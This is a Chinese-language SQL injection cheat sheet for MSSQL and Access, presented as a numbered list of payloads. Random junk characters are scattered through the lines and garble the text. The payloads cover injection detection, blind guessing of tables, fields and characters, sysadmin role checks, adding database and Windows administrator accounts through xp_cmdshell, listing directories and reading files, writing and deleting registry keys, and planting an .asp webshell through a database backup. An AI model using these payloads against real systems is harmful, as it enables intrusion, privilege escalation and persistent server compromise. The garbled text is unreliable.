1.判断是否有注入;and 1=1 ;and 1=2 o^biO!4,
2.初步判断是否是mssql ;and user>0 T-uI CMEf
NJwcb=*
3.注入参数是字符'and [查询条件] and ''=' #X`j#"Ov2(
c=h{^![$
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %\2
ll=p1
mKfT4t
5.判断数据库系统 X^7bOFWE
zq8LQ4@ay
;and (select count(*) from sysobjects)>0 mssql [*Wq6n
Jr|"` f%V
;and (select count(*) from msysobjects)>0 access vQ$ FMKz7
,a_\o&V
RKx"
}<#+
7jvf:#\LtL
6.猜数据库 ;and (select Count(*) from [数据库名])>0 +<(N]w*
0PjWfM8%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \GEFhM4)
+m^ gj:yL
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 QQj)"XJ29
Y7{IF X
9.(1)猜字段的ascii值(access) K]1A,Q
aTxss:7]
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 P?\ IlziCB
q{nNWvL
(2)猜字段的ascii值(mssql) nZ0-
Kb
jA?A)YNQb
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 )k&<D*5s
r8A
10.测试权限结构(mssql) g:7S/L0]
<-D>^p9
OTY9Q
Usx8
U
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- N`h, 2!(j
:?S1#d_
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- V>>"nf,YO
,6uON@
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |#^wYZO1U
T@ (MSgp9
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- GWsvN&nr
?%Hj,b
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- qcSlqWDk
R?Vs8?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- G~5EAeG
{N42z0c
;and 1=(select IS_MEMBER('db_owner'));-- Z]V^s8>
B4Ko,=pg
["TUSf]
gdPv,p19L
11.添加mssql和系统的帐户 R*|y:T,H
q$L=G
;exec master.dbo.sp_addlogin username;-- >x]b"@Hkw
;exec master.dbo.sp_password null,username,password;-- CoO..
gi\2bzWkbX
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- S~X&^JvT
~)xg7\k
;exec master.dbo.xp_cmdshell 'net user username password M=:!d$c
,@!io
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {]BPSj{B
ce7$r*@!
;exec master.dbo.xp_cmdshell 'net user username password /add';-- +L03.rf
6[b'60CuZL
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- TwJiYXHw?
-FftEeo7
)WuU?Tn&
,<Zu4bww
12.(1)遍历目录 ,j E'd'$
Fjch<gAofS
;create table dirs(paths varchar(100), id int) &\),V 1"
BPs|qb-
;insert dirs exec master.dbo.xp_dirtree 'c:\' jGy%O3/
R-QSv$
;and (select top 1 paths from dirs)>0 V{4=,Ax
<cS"oBh&u0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) cetHpU,
UVa:~c$U4
H2[VZ&Pg
7~&
(2)遍历目录 tQ~vLPi$
goBl~fqy0
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- IC"lsNq52
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 r:;nv D
2MY-9(no
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 F/O5Z?C?
kd55y
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 qV]p\/a.
E0HXB1"
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 }9=X*'BO
-7-r~zmr
^#i3JMq
9lXjB_wG>
13.mssql中的存储过程 } V *
d?[gd(O
xp_regenumvalues 注册表根键, 子键 0#Ivo<V
8k~$_AT>u
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 @>:V?
["O/%6b9+
xp_regread 根键,子键,键值名 +\Uq=@
4f~ c#0?
;exec xp_regread "-
2HKs
WX~:Y,l+u
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 zP554Gr ?
oW
! Z=;
xp_regwrite 根键,子键, 值名, 值类型, 值 f
wE
b
z3-A2#c
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 j}s<Pn%4
: ;l9to
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ]? 2xS?vd
M9~eDw'Pr
xp_regdeletevalue 根键,子键,值名 +;#z"m]
B|I9Ex~L
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
Z2P DT
3(o}ulp
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 7 +]+S`p
K<3,=gL9[
iEx
sGn]2
]F'o
14.mssql的backup创建webshell v;6O# ta'
9f=L'{
use model srL|Y&8 p
&JUHm_wd&S
create table cmd(str image); fI<|]c}P&J
<b.O^_zQF
insert into cmd(str) values (''); yj$a0Rgkv
2eC`^
backup database model to disk='c:\l.asp'; ccR#<Pb6q
kz!CxI (
9Gh:s6
L/Tsq=
15.mssql内置函数 3bsuE^,.@
u B~C8}
;and (select @@version)>0 获得Windows的版本号 )70i/%}7
reP)&Fo
;and user_name()='dbo' 判断当前系统的连接用户是不是sa VsU*yG a
o|en"?4
;and (select user_name())>0 爆当前系统的连接用户 /E %^s3S.
g$/C-j4A[
;and (select db_name())>0 得到当前连接的数据库 Yq~$pVgf
Qxb%P<`u
f[ 'uka.U
`/"*_AKAI
16.简洁的webshell 57|RE5]|!
9M12|X\]8
use model }+@GgipyO.
2/dvCt6 N
create table cmd(str image); #jqcUno
&"gQrBa
insert into cmd(str) values (''); #r,LV}*qg
|YnT;q
backup database model to disk='g:\wwwtest\l.asp';